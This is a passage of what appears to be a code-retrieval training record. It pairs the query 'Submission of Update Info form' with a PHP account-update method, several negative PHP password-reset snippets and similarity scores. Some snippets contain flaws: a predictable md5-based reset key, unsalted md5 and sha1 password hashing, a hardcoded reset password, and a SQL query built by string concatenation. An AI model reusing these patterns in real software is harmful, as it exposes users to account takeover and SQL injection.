CakeEmail();\n\t\t\t\t\t$Email->template('forgot_pass','complaint_email');\n\t\t\t\t\t$Email->viewVars(array(\n\t\t\t\t\t\t\t'useremail' \t=> $email,\n\t\t\t\t\t\t\t'username' \t=> $name,\n\t\t\t\t\t\t\t'password' \t=> $resetpasslink\n\t\t\t\t\t));\n\t\t\t\t\t$Email->emailFormat('html');\n\t\t\t\t\t$Email->from(array($this->adminFromEmail));\n\t\t\t\t\t$Email->to($email);\n\t\t\t\t\t$Email->subject('Password Reset Link');\n\t\t\t\t\t$Email->send();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->redirect(array('action' => 'driver_login',3,'driver' => true));\n\t\t\t\t//$this->Session->setFlash(__('Password send successfully to your email. '));\n\t\t\t\t\n\t\t\t\t// End OF EMAIL\n\t\t\t\t\t\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$this->redirect(array('action' => 'driver_login',4,'driver' => true));\n\t\t\t\t//$this->Session->setFlash(__('Invalid Email id. Please, try again', true)); \n\t\t\t}\n\t\t}\n\t\t$this->redirect(array('action' => 'driver_login',0,'driver' => true));\n\t\t$this->set('stat',$stat);\n\t}",
"public function reset_password($token = null, $user = null) {\n\t\tif(empty($token)) {\n\t\t\t$admin = false;\n\t\t\tif($user) {\n\t\t\t\t$this->request->data = $user;\n\t\t\t\t$admin = true;\n\t\t\t}\n\t\t\t$this->_sendPasswordReset($admin); //Show the forgot password form\n\t\t} else {\n\t\t\t$this->__resetPassword($token); //Show the reset password form\n\t\t}\n\t}",
"public function resetPasswordAction() {\n\t\t$this->setLayout('login');\n $key = $this->getRequest()->getParam('key',false);\n\n if (!$key) {\n // Show form\n $form = new Website_Form_ResetPassword();\n $this->view->form = $form;\n\n if ($this->getRequest()->isPost()) {\n if ($form->isValid($this->getRequest()->getParams())) {\n $user = User::getByName($form->getValue('username'));\n if ($user) {\n $hash = md5(strrev($user->getName() . 'CentroTool'));\n\n // Send mail\n $params = array(\n 'name'=>$this->view->username($user),\n 'url'=>$this->getAbsoluteUrl() . '/user/reset-password?key=' . $hash\n );\n\n $mail = new Pimcore_Mail();\n $mail->addTo($user->getEmail());\n $mail->setDocument('/_onderdelen/reset_pw');\n $mail->setParams($params);\n $mail->send();\n\n // Set flashmsg\n $this->addFlashMessage($this->view->translate('An email has been send to ' . $user->getEmail() . '. Please follow the link in the email to reset your password'));\n\n // Redirect to self\n $this->redirect('/user/reset-password');\n\n } else {\n // Show error\n $form->getElement('username')->addError($this->view->translate('No account found with this username'));\n }\n }\n }\n\n } else {\n // Process key\n $member = new Website_Model_Members();\n $member = $member->getByReset_pw_token($key);\n $this->view->key = $key;\n if ($member) {\n $form = new Website_Form_UpdatePassword();\n $form->populate(array('key'=>$key));\n $this->view->form = $form;\n\n if ($this->getRequest()->isPost()) {\n if ($form->isValid($this->getRequest()->getParams())) {\n if ($this->getParam('pw') == $this->getParam('pw2')) {\n // Update user password\n $user = User::getById($member->getUserId());\n $user->setPassword(Pimcore_Tool_Authentication::getPasswordHash($user->getName(), $this->getParam(\"pw\")));\n $user->save();\n\n // Reset token (so it cannot be used again)\n $member->setReset_pw_token(\"\");\n $member->save();\n\n // Notify user of our great success\n $this->addFlashMessage('Your password has been changed. Please login now.');\n\n // Redirect them to the login page\n $this->redirect('/user/login');\n } else {\n $form->getElement('pw2')->addError($this->view->translate('Passwords do not match!'));\n }\n }\n }\n } else {\n // No valid user found for the given key\n $this->addFlashMessage($this->view->translate('The key you provided is not valid. Have you used it before?'));\n $this->redirect('/user/reset-password');\n }\n }\n }",
"public function resetAction()\n\t{\n\t\t$this->view->headTitle(\"Reset your password\");\n\t\n\t\t//If form is submitted, reset the password\n\t\tif($this->getRequest()->isPost()){\n\t\t\n\t\t\t//Validation\n\t\t\t//Password must be between 6-20 characters\n\t\t\t$valid_pswd = new Zend_Validate_StringLength(6, 20);\n\t\t\tif(! $valid_pswd->isValid($this->_request->getPost('password'))){\n\t\t\t\t$this->view->errors[] = \"Password must be at least 6 characters.\";\n\t\t\t}\n\t\t\t\n\t\t\t//Password must match\n\t\t\tif($this->_request->getPost('password') != \n\t\t\t $this->_request->getPost('password2')){\n\t\t\t\t$this->view->errors[] = \"Your passwords do not match.\";\n\t\t\t}\n\t\t\t\n\t\t\t//No errors, so update the password\n\t\t\tif(count($this->view->errors) == 0){\n\t\t\t\t\n\t\t\t\t//Find user row to update via registration_key column\n\t\t\t\t$user = new Default_Model_User();\n\t\t\t\t$resultRow = $user->getUserByRegkey($this->_request->getPost('key'));\n\t\t\t\t\n\t\t\t\tif(count($resultRow) == 1){\n\t\t\t\t\t$resultRow->password = md5($this->_request->getPost('password'));\n\t\t\t\t\t$resultRow->save();\n\t\t\t\t\t$this->view->updated = 1;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else{ //Errors, so pass key back to form\n\t\t\t\t$this->view->success = 1;\n\t\t\t\t$this->view->key = $this->_request->getPost('key');\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}else{\n\t\t\t// User has clicked the emailed password recovery link. Find the user\n\t\t\t// using the recovery key, and prepare the password reset form\n\t\t\t\n\t\t\t//Retrieve key from url\n\t\t\t$recoveryKey = $this->getRequest()->getParam('key');\n\t\t\t\n\t\t\t$user = new Default_Model_User();\n\t\t\t$resultRow = $user->getUserByRegkey($recoveryKey);\n\t\t\t\n\t\t\t\tif(count($resultRow)){\n\t\t\t\t\t$resultRow->save();\n\t\t\t\t\t$this->view->success = 1;\n\t\t\t\t\t$this->view->key = $recoveryKey;\n\t\t\t\t} else{\n\t\t\t\t\t$this->view->errors[] = \"Unable to locate password recovery key.\";\n\t\t\t\t}\n\t\t\n\t\t} //end else\n\t}",
"public function postReset(Request $request)\n {\n // dd($request->all());\n\n $status = '';\n $this->validate($request, [\n 'token' => 'required',\n 'email' => 'required|email',\n 'password' => 'required|confirmed|min:6',\n ]);\n\n $credentials = $request->only(\n 'email', 'password', 'password_confirmation', 'token'\n );\n $obj_admin = $this->AgentModel->where('email','=',$credentials['email'])->first();\n if($obj_admin)\n {\n $password = isset($credentials['password'])?Hash::make($credentials['password']):'';\n $status = $obj_admin->update(['password'=>$password]);\n }\n if($status)\n {\n $is_deleted_token = DB::table('admin_password_resets')->where('token','=',$credentials['token'])->delete();\n Session::flash('success', 'Password set successfully.');\n }\n else\n {\n Session::flash('error','Error occure while set a password.');\n }\n return redirect($this->module_url_path);\n }",
"public function password_resets(){\n\t\t\t\n\t\t\tif(!$this->session->userdata('admin_logged_in')){\n\t\t\t\t\t\t\t\t\n\t\t\t\t$url = 'admin/login?redirectURL='.urlencode(current_url());\n\t\t\t\tredirect($url);\t\t\t\t\t\t\t\n\t\t\t\t//redirect('admin/login/','refresh');\n\t\t\t\t\n\t\t\t}else{\t\t\t\n\n\t\t\t\t$username = $this->session->userdata('admin_username');\n\t\t\t\t\n\t\t\t\t$data['user_array'] = $this->Admin->get_user($username);\n\t\t\t\t\t\n\t\t\t\t$fullname = '';\n\t\t\t\tif($data['user_array']){\n\t\t\t\t\tforeach($data['user_array'] as $user){\n\t\t\t\t\t\t$fullname = $user->admin_name;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$data['fullname'] = $fullname;\n\t\t\t\t\t\n\t\t\t\t$data['unread_contact_us'] = $this->Contact_us->count_unread_messages($username);\n\t\t\t\t\t\n\t\t\t\t$messages_unread = $this->Messages->count_unread_messages($username);\n\t\t\t\tif($messages_unread == '' || $messages_unread == null){\n\t\t\t\t\t$data['messages_unread'] = 0;\n\t\t\t\t}else{\n\t\t\t\t\t$data['messages_unread'] = $messages_unread;\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t$data['header_messages_array'] = $this->Messages->get_header_messages($username);\n\t\t\t\t\n\t\t\t\t$enquiries_unread = $this->Sale_enquiries->count_unread_enquiries();\n\t\t\t\tif($enquiries_unread == '' || $enquiries_unread == null){\n\t\t\t\t\t$data['enquiries_unread'] = 0;\n\t\t\t\t}else{\n\t\t\t\t\t$data['enquiries_unread'] = $enquiries_unread;\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t$data['count_records'] = $this->Password_resets->count_all();\n\t\t\t\t\n\t\t\t\t$delete = $this->Password_resets->delete_old_records();\n\t\t\t\n\t\t\t\t//assign page title name\n\t\t\t\t$data['pageTitle'] = 'Password Resets';\n\t\t\t\t\t\t\t\t\n\t\t\t\t//assign page title name\n\t\t\t\t$data['pageID'] = 'password_resets';\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t//load header and page title\n\t\t\t\t$this->load->view('admin_pages/header', $data);\n\t\t\t\t\t\t\t\n\t\t\t\t//load main body\n\t\t\t\t$this->load->view('admin_pages/password_resets_page', $data);\t\n\t\t\t\t\t\n\t\t\t\t//load footer\n\t\t\t\t$this->load->view('admin_pages/footer');\n\t\t\t\t\t\n\t\t\t}\n\t\t\t\t\n\t\t}",
"public function forgetpassword()\n \t{\n \t\t$this->data['title'] = 'Forgot Password';\n\t\t$this->show_viewFrontInner('forget-password', $this->data);\n \t}",
"public function actionResetPassword()\n\t{\n\t\t\n\t\tif(isset($_GET['resetKey'])) // Uzivatel prisel pres aktivacni link\n\t\t{\n\t\t\t$scenario = 'resetSubmit';\n\t\t\t$model = $this->resetSubmit($_GET['resetKey']);\n\t\t}\n\t\telse // Uzivatel teprve zada o obnovu hesla\n\t\t{\n\t\t\t$scenario = 'resetRequest';\n\t\t\t$model = $this->resetRequest();\n\t\t}\t\n\t\t\n\t\t$this->render('resetPassword', array(\n\t\t\t\t'model' => $model,\n\t\t\t\t'scenario' => $scenario,\n\t\t\t)\n\t\t);\n\t}",
"public function postReset()\n\t{ \n\t\t$credentials = Input::only('email', 'password', 'password_confirmation', 'token');\n\n\t\t$response = Password::reset($credentials, function($user, $password)\n\t\t{\n\t\t\t$user->password = Hash::make($password);\n\n\t\t\t$user->save();\n\t\t});\n\n\t\tswitch ($response)\n\t\t{\n\t\t\tcase Password::INVALID_PASSWORD: \n\t\t\tcase Password::INVALID_TOKEN:\n\t\t\tcase Password::INVALID_USER:\n\t\t\t\t//When anything wrong happens, back to the reset form with all the input there for the customer to modify\n\t\t\t\treturn Redirect::back()->with('error', Lang::get($response))\n ->withInput(Input::all());\n\t\t\t\t\t \n\t\t\tcase Password::PASSWORD_RESET:\n\t\t\t //Reset is done, redirect to the login page with empty password\n\t\t\t\t { Input::merge(array('password' => ''));\n\t\t\t\treturn Redirect::to('login')\n\t\t\t\t ->withErrors(array('password' => 'Your login password has been successfully reset.')) // Tell the customer reset is done.\n\t\t\t\t ->withInput(Input::all());}\n\t\t}\n\t\t\n\t}",
"function ll_reset_psw( $key, $login ) { \n\n\t\t$user = $this->ll_check_password_reset_key( $key, $login );\n\n\t\tif ( is_wp_error($user) ) {\n\t\t\t$this->ll_login_header(__('Reset Password','loginlock'), '<p class=\"message reset-pass\">' . __('Your password reset key is invalid.','loginlock') . '</p>', $errors );\n\t\t\t// ( site_url('wp-login.php?action=lostpassword&error=invalidkey') );\n\t\t\texit;\n\t\t}\n\n\t\t$errors = '';\n\n\t\tif ( isset($_POST['ll_reset_password']) && !wp_verify_nonce($_POST['ll_reset_password'], 'll_reset_psw') ) { \n\n\t\t\t$errors = new WP_Error('password_reset_auth_error', __('You are not authorized to take that action!','loginlock'));\n\n\t\t} else if ( isset($_POST['pass1']) && $_POST['pass1'] != $_POST['pass2'] ) {\n\n\t\t\t$errors = new WP_Error('password_reset_mismatch', __('The passwords do not match.','loginlock'));\n\n\t\t} else if ( ( isset( $_POST['pass1'] ) && !empty( $_POST['pass1'] ) ) && ( true !== $this->ll_test_new_psw( $_POST['pass1'], $login ) ) ) { \n\n\t\t\t$errors = new WP_Error('password_reset_mismatch', __('You cannot reuse that password yet. Please choose a different password.','loginlock'));\n\n\t\t} else if ( isset( $_POST['pass1'] ) && !empty( $_POST['pass1'] ) && $msg = $this->ll_check_psw_strength( $_POST['pass1'] ) ) { \n\n\t\t\t $errors = new WP_Error('password_policy_error', __($msg));\n\n\t\t} elseif ( isset($_POST['pass1']) && !empty($_POST['pass1']) ) {\n\n\t\t\t do_action('password_reset', $user, $_POST['pass1']);\n\t\t\t wp_set_password($_POST['pass1'], $user->ID);\n\t\t\t wp_password_change_notification($user);\n\t\t\t delete_user_meta($user->ID, 'll_force_password_change_now');\n\t\t\t $this->ll_login_header(__('Password Reset','loginlock'), '<p class=\"message reset-pass\">' . __('Your password has been reset.','loginlock') . ' <a href=\"' . site_url('wp-login.php', 'login') . '\">' . __('Log in','loginlock') . '</a></p>');\n\t\t\t $this->ll_login_footer();\n\t\t\t exit;\n\n\t\t}\n\n\t\tif (isset($errors->errors['password_reset_auth_error'])) {\n\t\t $msg = __('You are not authorized to take that action','loginlock');\n\t\t $this->ll_login_header('', '', $errors); \n\t\t exit;\n\t\t}\n\n\t\twp_enqueue_script('utils');\n\t\twp_enqueue_script('user-profile');\n\n\t\t$msg = __('You must reset your password.','loginlock').'<br/><br/>';\n\n\t\tif ('yes' == $this->ll_options['psw_reuse'])\n\n\t\t$msg .= __('You may not reuse old passwords!', 'loginlock').'<br/><br/>';\n\n\t\t$msg .= __('Enter your new password below:', 'loginlock');\n\n\t\t$this->ll_login_header(__('Reset Password', 'loginlock'), '<p class=\"message reset-pass \">' . $msg . '</p>', $errors );\n\n\n\t?>\n\t <form name=\"resetpassform\" id=\"resetpassform\" action=\"<?php echo site_url('wp-login.php?action=resetpass&key=' . urlencode($key) . '&login=' . urlencode($login) , 'login_post') ?>\" method=\"post\">\n\t\t<input type=\"hidden\" id=\"user_login\" value=\"<?php echo esc_attr( $_GET['login'] ); ?>\" autocomplete=\"off\" />\n\t\t<?php wp_nonce_field('ll_reset_psw', 'll_reset_password'); ?>\n\t\t<p>\n\t\t\t<label><?php _e('New password','loginlock') ?><br />\n\t\t\t<input type=\"password\" name=\"pass1\" id=\"pass1\" class=\"input\" size=\"20\" value=\"\" autocomplete=\"off\" /></label>\n\t\t</p>\n\t\t<p>\n\t\t\t<label><?php _e('Confirm new password', 'loginlock') ?><br />\n\t\t\t<input type=\"password\" name=\"pass2\" id=\"pass2\" class=\"input\" size=\"20\" value=\"\" autocomplete=\"off\" /></label>\n\t\t</p>\n\n\t\t<div id=\"pass-strength-result\" class=\"hide-if-no-js\"><?php _e('Strength indicator', 'loginlock'); ?></div>\n\t\t<p class=\"description indicator-hint\">\n\t\t <strong>\n\t\t <span style=\"color:#cf0000\">\n\t\t\t<?php _e('NOTE', 'loginlock');?>: \n\t\t </span>\n\t\t <?php _e('The password must be at least', 'loginlock');\n\t\t\techo ' '.$this->ll_options['psw_length'].' ';\n\t\t ?>\n\n\t\t <?php _e('characters long.', 'loginlock');?>\n\n\t\t <?php \n\t\t\tif ('high' == $this->ll_options['psw_policy'] ) { \n\t\t\t _e('You must include upper and lower case letters, numbers, and symbols like ! \" ? $ % ^ &.', 'loginlock');\n\t\t\t} else if ('medium' == $this->ll_options['psw_policy'] ) { \n\t\t\t _e('You must include upper and lower case letters and numbers.', 'loginlock');\n\t\t\t}\n\t\t ?>\n\t\t </strong>\n\t\t</p>\n\n\t\t<br class=\"clear\" />\n\t\t<p class=\"submit\"><input type=\"submit\" name=\"wp-submit\" id=\"wp-submit\" class=\"button-primary\" value=\"<?php esc_attr_e('Reset Password', 'loginlock'); ?>\" tabindex=\"100\" /></p>\n\t </form>\n\n\t<p id=\"nav\">\n\t<a href=\"<?php echo site_url('wp-login.php', 'login') ?>\"><?php _e('Log in', 'loginlock') ?></a>\n\t<?php if (get_option('users_can_register')) : ?>\n\t| <a href=\"<?php echo site_url('wp-login.php?action=register', 'login') ?>\"><?php _e('Register', 'loginlock') ?></a>\n\t<?php endif; ?>\n\t</p>\n\n\t<?php\n\t$this->ll_login_footer('user_pass');\n\texit;\n\t}",
"function reset_user_passwd($user_id) {\r\n\r\n //set the new password\r\n $new_passwd = \"newpasswod\";\r\n \r\n if ($new_passwd == false) {\r\n throw new Exception ('Could not generate the new password.');\r\n }\r\n \r\n //add numbers to the new passwd to increase the securtiy\r\n $rand_number = rand(0, 999);\r\n $new_passwd . $rand_number;\r\n \r\n //update the new passwd with db\r\n $conn = db_connect();\r\n\r\n $result = $conn->query(\"update users set user_passwd = sha1('\".$new_passwd.\"') where user_id = '\".$user_id.\"'\");\r\n if (!$result) {\r\n throw new Exception ('Could not reset the password.');\r\n }\r\n else {\r\n return true; \r\n }\r\n\r\n }",
"public function change()\r\n {\r\n// var_dump($this->validate());die;\r\n if ($this->validate()) {\r\n $user = $this->_user; \r\n $user->setPassword($this->newPwd);\r\n $user->removePasswordResetToken();\r\n return $user->save(false);\r\n }\r\n \r\n return false;\r\n }"
] | [
"0.8507008",
"0.83525795",
"0.80262816",
"0.788377",
"0.7817904",
"0.7750498",
"0.7637977",
"0.76209646",
"0.7615403",
"0.74918765",
"0.74645877",
"0.74612164",
"0.743457",
"0.743457",
"0.7405399",
"0.73480237",
"0.7338491",
"0.7336184",
"0.7321178",
"0.7311512",
"0.7287813",
"0.7275254",
"0.72590554",
"0.7242616",
"0.72226495",
"0.72225523",
"0.7204455",
"0.7188639",
"0.7179359",
"0.717685",
"0.71708065",
"0.71513605",
"0.71409726",
"0.71381384",
"0.7134354",
"0.71313477",
"0.7112183",
"0.7107708",
"0.70942825",
"0.7074315",
"0.70741487",
"0.70638126",
"0.7040976",
"0.7021751",
"0.70026815",
"0.6987573",
"0.69787127",
"0.6978641",
"0.69487363",
"0.69421643",
"0.6923113",
"0.6909347",
"0.6903434",
"0.6896774",
"0.6896439",
"0.68955135",
"0.68911874",
"0.6889727",
"0.68821687",
"0.68796086",
"0.6870357",
"0.68667907",
"0.68643004",
"0.6863013",
"0.68599534",
"0.6856841",
"0.6850628",
"0.6837223",
"0.68226916",
"0.68179184",
"0.68149585",
"0.68056893",
"0.6794773",
"0.6786762",
"0.67854035",
"0.67823535",
"0.6782121",
"0.6780701",
"0.6778579",
"0.6773842",
"0.676412",
"0.6761958",
"0.67483914",
"0.6745957",
"0.6745718",
"0.6745501",
"0.6745232",
"0.6743818",
"0.67403203",
"0.6738747",
"0.67352",
"0.67346174",
"0.6734535",
"0.6725113",
"0.6723839",
"0.6723721",
"0.6717055",
"0.67133474",
"0.6711754",
"0.6708564"
] | 0.6919547 | 51 |
Submission of Update Info form | public function account_update_info()
{
$data = $this->input->post();
if ($this->ion_auth->update($this->mUser->id, $data))
{
$messages = $this->ion_auth->messages();
$this->system_message->set_success($messages);
}
else
{
$errors = $this->ion_auth->errors();
$this->system_message->set_error($errors);
}
redirect('admin/panel/account');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"private function update_form()\n\t{\n\t\t$this->title = sprintf(lang('update_title'), $this->installed_version, $this->version);\n\t\t$vars['action'] = $this->set_qstr('do_update');\n\t\t$this->set_output('update_form', $vars);\n\t}",
"function update() {\n\t\tglobal $tpl, $lng;\n\n\t\t$form = $this->initForm(TRUE);\n\t\tif ($form->checkInput()) {\n\t\t\tif ($this->updateElement($this->getPropertiesFromPost($form))) {\n\t\t\t\tilUtil::sendSuccess($lng->txt('msg_obj_modified'), TRUE);\n\t\t\t\t$this->returnToParent();\n\t\t\t}\n\t\t}\n\n\t\t$form->setValuesByPost();\n\t\t$tpl->setContent($form->getHtml());\n\t}",
"abstract function performUpdate(Form $arg0);",
"public function noticia_update_form()\r\n {\r\n $array = [\r\n 'user_info' => $this->user->infoUser(),\r\n ];\r\n $post = new PostFix();\r\n $array['info_post'] = $post->getPostId($_GET['id']);\r\n $this->loadTemplate('noticias/update_img', $array);\r\n }",
"public function index_onUpdateForm()\n\t{\n\t\t$record_id = post('record_id');\n\t\tparent::update($record_id);\n\t\t$this->controller->vars['record_id'] = $record_id;\n\t\treturn $this->makePartial('update');\n\t}",
"public function noticia_update_action()\r\n {\r\n $post = new PostFix();\r\n $id_post = Inputs::input($_POST['id_post']);\r\n $post->updateInfo($id_post, $_POST['titulo'], $_POST['subtitulo'], $_POST['corpo'], $_POST['id_user']);\r\n header(\"Location:\" . BASE_URL . \"noticias/noticia_update_form/?id=\" . $id_post);\r\n exit;\r\n }",
"public function information_update() {\r\n $this->check_permission(16);\r\n $content_data['add'] = $this->check_page_action(16, 'add');\r\n $content_data['product_list'] = $this->get_product_list();\r\n $content_data['shift_list'] = $this->get_shift_list();\r\n $content_data['category_list'] = $this->get_category_list();\r\n $this->quick_page_setup(Settings_model::$db_config['adminpanel_theme'], 'adminpanel', $this->lang->line('information_update'), 'operation/information_update', 'header', 'footer', '', $content_data);\r\n }",
"public function updateForm(){\n $new = $this->model->getNew();\n $this->view->updateForm($new);\n }",
"function wck_show_update_form(){\r\n\t\tcheck_ajax_referer( \"wck-edit-entry\" );\t\t\r\n\t\t$meta = sanitize_text_field( $_POST['meta'] );\r\n\t\t$id = absint($_POST['id']);\r\n\t\t$element_id = absint( $_POST['element_id'] );\r\n\r\n do_action( \"wck_before_adding_form_{$meta}\", $id, $element_id );\r\n\r\n\t\techo self::mb_update_form($this->args['meta_array'], $meta, $id, $element_id);\r\n\t\t\r\n\t\tdo_action( \"wck_after_adding_form\", $meta, $id, $element_id );\r\n do_action( \"wck_after_adding_form_{$meta}\", $id, $element_id );\r\n\r\n\t\texit;\r\n\t}",
"public function showUpdateInfoForm ()\n {\n return view($this->updateInfoView);\n }",
"public function actionUpdate() {}",
"public function actionUpdate() {}",
"protected function updateAction()\n {\n }",
"function action_update()\n {\n $record = $this->m_node->updateRecord();\n\n if ($this->m_postvars['atkcancel']==\"\")\n { \n\n // just before we validate the record we call the preUpdate() to check if the record needs to be modified\n $this->m_node->preUpdate($record);\n\n $this->m_node->validate($record, \"update\");\n\n $error = count($record['atkerror']) > 0;\n foreach (array_keys($record) as $key)\n $error = $error || (is_array($record[$key]) && count($record[$key]['atkerror']) > 0);\n\n if ($error)\n {\n $this->m_node->m_action=\"edit\";\n $page = &$this->getPage();\n $edithandler = $this->m_node->getHandler(\"edit\");\n $page->addContent($edithandler->invoke(\"editPage\", $record));\n }\n else\n {\n if(!$this->m_node->updateDb($record))\n {\n $this->m_node->m_db->rollback();\n if($this->m_node->m_db->getErrorType()==\"user\")\n {\n triggerError($record, 'Error', $this->m_node->m_db->getErrorMsg(), '', '');\n $this->m_node->m_action=\"edit\";\n $page = &$this->getPage();\n $edithandler = $this->m_node->getHandler(\"edit\");\n $page->addContent($edithandler->invoke(\"editPage\", $record));\n }\n else\n {\n $location = $this->m_node->feedbackUrl(\"update\",ACTION_FAILED, $record, $this->m_node->m_db->getErrorMsg());\n $this->m_node->redirect($location);\n }\n }\n else\n {\n $this->m_node->m_db->commit(); \n \n if ($this->m_postvars['atknoclose']==\"\")\n {\n // 'save and close' was clicked\n $location = $this->m_node->feedbackUrl(\"update\", ACTION_SUCCESS, $record, \"\");\n $this->m_node->redirect($location);\n }\n else\n {\n // 'save' was clicked\n $page = &$this->getPage();\n // $this->m_action=\"edit\";\n //update succesful, pk value might be changed so update m_orgkey\n $record[\"atkprimkey\"] = $this->m_node->primaryKey($record);\n \n if ($this->m_node->hasFlag(NF_LOCK))\n { \n $locked = true;\n }\n \n //$this->setOrgKeyValue($record);\n $this->m_node->m_action = \"edit\"; \n $edithandler = $this->m_node->getHandler(\"edit\");\n $editpage = $edithandler->invoke(\"editPage\", $record, $locked);\n $screen = $this->m_node->renderActionPage(\"edit\", $editpage);\n $page->addContent($screen);\n }\n\n }\n }\n }\n else\n {\n // Cancel was pressed\n $location = $this->m_node->feedbackUrl(\"update\", ACTION_CANCELLED, $record);\n $this->m_node->redirect($location);\n }\n }",
"function processForm(){\n /*Admin page content goes here */\n if( isset($_POST['rssMultiUpdate']) ){\n require \"classes/RssUpdateSingle.php\";\n \n $RssUpdateSingle = new RssUpdateSingle;\n $RssUpdateSingle->updateBlog();\n }\n }",
"private function updateModal(){\n $pId = $_REQUEST['info'];\n\n $this->assign('partnerId', $pId);\n $this->assign('partner', $this->getPartnerById($pId));\n $this->display('partners/edit.tpl');\n }",
"public function display_edit_form(){\n echo \"<form action='../../Controllers/charity_controller.class.php?action=update' method='post'>\";\n echo \"<input type='hidden' name='id' value=\".$this->id.\" />\";\n echo \"Name: <input type='text' name='name' value=\".$this->name.\" /><br />\";\n echo \"Description: <textarea name='description'>\".$this->description.\"</textarea><br />\";\n echo \"<input type='submit' value='Update' />\";\n echo \"</form>\";\n }",
"public function update(){\n\t\t\t$matk = $_POST['matk'];\n\t\t\t$tentk = $_POST['tentk'];\n\t\t\t$pass = $_POST['pass'];\n\t\t\t$fullname = $_POST['fullname'];\n\n\t\t\t$post = array(\n\t\t\t\t'matk' => $matk,\n\t\t\t\t'tentk' => $tentk,\n\t\t\t\t'pass' => $pass,\n\t\t\t\t'fullname' => $fullname,\n\t\t\t);\n\n\t\t\trequire_once('model/model.php');\n\t\t\t$Model = new Model();\n\t\t\t$update = $Model -> updateData($post);\n\n\t\t\trequire_once('view/View.php');\n\t\t\t$View = new View();\n\t\t\t$View ->alertupdate($update);\n\t\t}",
"public function update_member_details() {\n\t\t$data = $_POST; \n\n\t\t$this->Member_Model->update_member($data);\n\t}",
"function ShowOwnersUpdateForm($mysqli) {\n $index = $_SESSION['OwnerID']; // \"uid\" is id of db record to be updated \n global $usertable;\n if ($result = $mysqli->query(\"SELECT id, attempts_allowed, title, description FROM $usertable WHERE id = $index\")) {\n while ($row = $result->fetch_row()) {\n echo '<div class=\"col-md-4\">\n <form name=\"basic\" method=\"POST\" action=\"Owners.php\" \n onSubmit=\"return validate();\"> \n <table class=\"table table-condensed\" style=\"border: 1px solid #dddddd; \n border-radius: 5px; box-shadow: 2px 2px 10px;\">\n <tr><td colspan=\"2\" style=\"text-align: center; border-radius: 5px; \n color: white; background-color:#333333;\"> <h2>Update Owner</h2></td></tr>';\n\n\t\t\t//the entries for the user to change\n echo '<tr><td>Days Expected Gone: </td><td><input type=\"number\" name=\"max_attempts\" value= ' . $row[1] . ' min=\"1\" max=\"100000\"></td></tr>\n <tr><td>Owner Name: </td><td><input type=\"edit\" name=\"quiz_title\" value= \"' . $row[2] . ' \" size=\"49\"></td></tr>\n <tr><td>Contact Information: </td><td><textarea maxlength=\"200\" style=\"resize: none;\" name=\"quiz_des\" cols=\"51\" rows=\"3\">' . $row[3] . ' </textarea></td></tr>';\n\n\t\t//on submit call the ownerExecuteUpdateFunction to finish the update and then go back to owners.php to see the changes\n echo '\n </td></tr> \n <tr><td><input type=\"submit\" name=\"OwnerExecuteUpdate\" class=\"btn btn-primary\" value=\"Update Entry\"></td> \n\t</table> <input type=\"hidden\" name=\"uid\" value=\"' . $row[0] . '\"> </form> \n <form action=\"Owners.php\"> <input type=\"submit\" name=\"BackToOwners\" value=\"Back to Owners List\" class=\"btn btn-primary\"\"> </form> <br> </div>';\n } //close database connection\n $result->close();\n }\n}",
"public function update_info()\n\t{\n\t\t$this->load->model('admin_user_model', 'admin_users');\n\t\t$updated = $this->admin_users->update_info($this->mUser->id, $this->input->post());\n\n\t\tif ($updated)\n\t\t{\n\t\t\tset_alert('success', 'Successfully updated account info.');\n\t\t\t$this->mUser->full_name = $this->input->post('full_name');\n\t\t\t$this->session->set_userdata('admin_user', $this->mUser);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tset_alert('danger', 'Failed to update info.');\n\t\t}\n\n\t\tredirect('admin/account');\n\t}",
"function update_info()\n {\n }",
"public function showUpdateInfoForm ()\n {\n // Get the logged in chiefWardenStaff\n $chiefWardenStaff = ChiefWardenStaff::find(Auth::guard('chiefWardenStaff')->user()->id);\n return view($this->updateInfoView, ['chiefWardenStaff' => $chiefWardenStaff]);\n }",
"public function editForm(): void\n {\n $this->articleId = $_GET['id'];\n $query = $this->articleModel->displayOneArticle($this->articleId);\n $editArticle = $query->fetch();\n\n $this->title = $editArticle['title'];\n $this->content = $editArticle['content'];\n $this->category = $editArticle['category'];\n }",
"public function updateAction() {\n \n $this->_form->customSubmitBtn = $this->xhr; \n $this->_form->build( $this->uri,\n $this->consumer_id,\n $this->user_id,\n $this->id);\n \n $data = $this->_model->readNote($this->id)->toArray();\n $this->_form->populate($data);\n \n $this->result = Main_Forms_Handler::onPost($this->_form,\n $this->post,\n $this->_model,\n \"updateNote\",\n $this->params,\n $this->_helper,\n $this->indexAction . $this->consumer_id,\n \"Note updated.\",\n $this->xhr);\n \n \n $this->_onSubmit();\n \n }",
"public function save_entry_update() {\n\t\tglobal $wpdb;\n\n\t\tif ( !isset( $_REQUEST['action'] ) || !isset( $_GET['page'] ) )\n\t\t\treturn;\n\n\t\tif ( 'vfb-entries' !== $_GET['page'] )\n\t\t\treturn;\n\n\t\tif ( 'update_entry' !== $_REQUEST['action'] )\n\t\t\treturn;\n\n\t\tif ( !isset( $_POST['entry_id'] ) )\n\t\t\treturn;\n\n\t\t$entry_id = absint( $_POST['entry_id'] );\n\n\t\tcheck_admin_referer( 'update-entry-' . $entry_id );\n\n\t\t// Get this entry's data\n\t\t$entry = $wpdb->get_var( $wpdb->prepare( \"SELECT data FROM $this->entries_table_name WHERE entries_id = %d\", $entry_id ) );\n\n\t\t$data = unserialize( $entry );\n\n\t\t// Loop through each field in the update form and save in a way we can use\n\t\tforeach ( $_POST['field'] as $key => $value ) {\n\t\t\t$fields[ $key ] = $value;\n\t\t}\n\n\t\tforeach ( $data as $key => $value ) :\n\n\t\t\t$id = $data[ $key ]['id'];\n\n\t\t\t// Special case for checkbox and radios not showing up in $_POST\n\t\t\tif ( !isset( $fields[ $id ] ) && in_array( $data[ $key ][ 'type' ], array( 'checkbox', 'radio' ) ) )\n\t\t\t\t$data[ $key ]['value'] = '';\n\n\t\t\t// Only update value if set in 